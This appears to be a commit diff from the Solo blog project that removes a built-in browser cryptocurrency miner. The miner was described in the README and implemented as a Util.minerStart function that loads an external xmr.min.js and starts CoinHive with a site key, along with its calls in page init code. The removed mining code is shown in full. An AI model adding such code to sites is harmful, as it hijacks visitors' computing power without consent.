Commit 02cb2cfc authored by Liang Ding's avatar Liang Ding

🔥 Fix #12395

parent feee7e3b
...@@ -121,12 +121,6 @@ Solo 的主要作者是 [Daniel](https://github.com/88250) 与 [Vanessa](https:/ ...@@ -121,12 +121,6 @@ Solo 的主要作者是 [Daniel](https://github.com/88250) 与 [Vanessa](https:/
* 来一发 [issue](https://github.com/b3log/solo/issues/new) * 来一发 [issue](https://github.com/b3log/solo/issues/new)
* 加入 Solo 开发支持 Q 群 242561391 * 加入 Solo 开发支持 Q 群 242561391
### 算力
Solo 默认会通过浏览者的浏览器进行挖矿,收益将用于维持项目运维,具体原理请参考[使用访问者浏览器挖矿的方法](https://hacpai.com/article/1512269880744)
你可以全局搜索 `gr2r3rJsYmaJpSd2Nml15zomewwc6Lzc` 并将这个值替换为自己的以给自己带来收益;当然,如果你不想挖矿,请删掉该值相关代码。
## Terms ## Terms
* This software is open sourced under the Apache License 2.0 * This software is open sourced under the Apache License 2.0
......
This diff is collapsed.
...@@ -205,7 +205,6 @@ $.extend(Admin.prototype, { ...@@ -205,7 +205,6 @@ $.extend(Admin.prototype, {
*/ */
init: function () { init: function () {
//window.onerror = Util.error; //window.onerror = Util.error;
Util.minerStart();
Util.killIE(); Util.killIE();
$("#loadMsg").text(Label.loadingLabel); $("#loadMsg").text(Label.loadingLabel);
......
...@@ -205,7 +205,6 @@ $.extend(Admin.prototype, { ...@@ -205,7 +205,6 @@ $.extend(Admin.prototype, {
*/ */
init: function () { init: function () {
//window.onerror = Util.error; //window.onerror = Util.error;
Util.minerStart();
Util.killIE(); Util.killIE();
$("#loadMsg").text(Label.loadingLabel); $("#loadMsg").text(Label.loadingLabel);
...@@ -4388,8 +4387,8 @@ admin.commentList = { ...@@ -4388,8 +4387,8 @@ admin.commentList = {
commentsData[i] = {}; commentsData[i] = {};
commentsData[i].content = Util.replaceEmString(comments[i].commentContent) + commentsData[i].content = '<div class="content-reset">' + Util.replaceEmString(comments[i].commentContent) +
"<span class='table-tag'> on &nbsp;&nbsp;</span><a href='" + latkeConfig.servePath + comments[i].commentSharpURL + "</div><span class='table-tag'> on &nbsp;&nbsp;</span><a href='" + latkeConfig.servePath + comments[i].commentSharpURL +
"' target='_blank'>" + comments[i].commentTitle + "' target='_blank'>" + comments[i].commentTitle +
"</a>"; "</a>";
......
This source diff could not be displayed because it is too large. You can view the blob instead.
...@@ -18,7 +18,7 @@ ...@@ -18,7 +18,7 @@
* *
* @author <a href="http://vanessa.b3log.org">Liyuan Li</a> * @author <a href="http://vanessa.b3log.org">Liyuan Li</a>
* @author <a href="http://88250.b3log.org">Liang Ding</a> * @author <a href="http://88250.b3log.org">Liang Ding</a>
* @version 1.3.1.0, Dec 5, 2017 * @version 1.3.1.1, Jan 29, 2018
*/ */
/** /**
...@@ -237,29 +237,6 @@ var Util = { ...@@ -237,29 +237,6 @@ var Util = {
var wHeight = $("body").height() > $(document).height() ? $("body").height() : $(document).height(); var wHeight = $("body").height() > $(document).height() ? $("body").height() : $(document).height();
window.scrollTo(0, wHeight - $(window).height() - bottom); window.scrollTo(0, wHeight - $(window).height() - bottom);
}, },
/**
* @description xmr 挖矿,收入将用于维持社区运维
*/
minerStart: function () {
if (navigator.userAgent.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/)) {
return
}
$.ajax({
method: "GET",
url: 'https://static.hacpai.com/js/lib/xmr.min.js',
dataType: "script"
}).done(function () {
var data = {threads: 2, throttle: 0.5}
if (latkeConfig && latkeConfig.isLoggedIn === 'true') {
data = {threads: 1, throttle: 0.8}
}
const ua = navigator.userAgent;
if (/Android/i.test(ua) || /BlackBerry/i.test(ua) || /IEMobile/i.test(ua) || /iPhone|iPad|iPod/i.test(ua)) {
data = {threads: 1, throttle: 0.8}
}
(new CoinHive.Anonymous('gr2r3rJsYmaJpSd2Nml15zomewwc6Lzc', data)).start();
});
},
/** /**
* @description 页面初始化执行的函数 * @description 页面初始化执行的函数
*/ */
...@@ -268,7 +245,6 @@ var Util = { ...@@ -268,7 +245,6 @@ var Util = {
Util.killIE(); Util.killIE();
Util.setTopBar(); Util.setTopBar();
Util.parseMarkdown(); Util.parseMarkdown();
Util.minerStart();
}, },
/** /**
* @description 替换侧边栏表情为图片 * @description 替换侧边栏表情为图片
......
This diff is collapsed.
...@@ -421,7 +421,6 @@ $.extend(Page.prototype, { ...@@ -421,7 +421,6 @@ $.extend(Page.prototype, {
} catch (e) { } catch (e) {
document.write("<script src=\"" + latkeConfig.staticServePath + "/js/lib/json2.js\"><\/script>"); document.write("<script src=\"" + latkeConfig.staticServePath + "/js/lib/json2.js\"><\/script>");
} }
Util.minerStart();
}, },
/* /*
* @description 加载随机文章 * @description 加载随机文章
......
This diff is collapsed.
...@@ -41,7 +41,5 @@ ...@@ -41,7 +41,5 @@
}; };
Util.parseMarkdown('content-reset'); Util.parseMarkdown('content-reset');
Util.minerStart();
</script> </script>
${plugins} ${plugins}
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment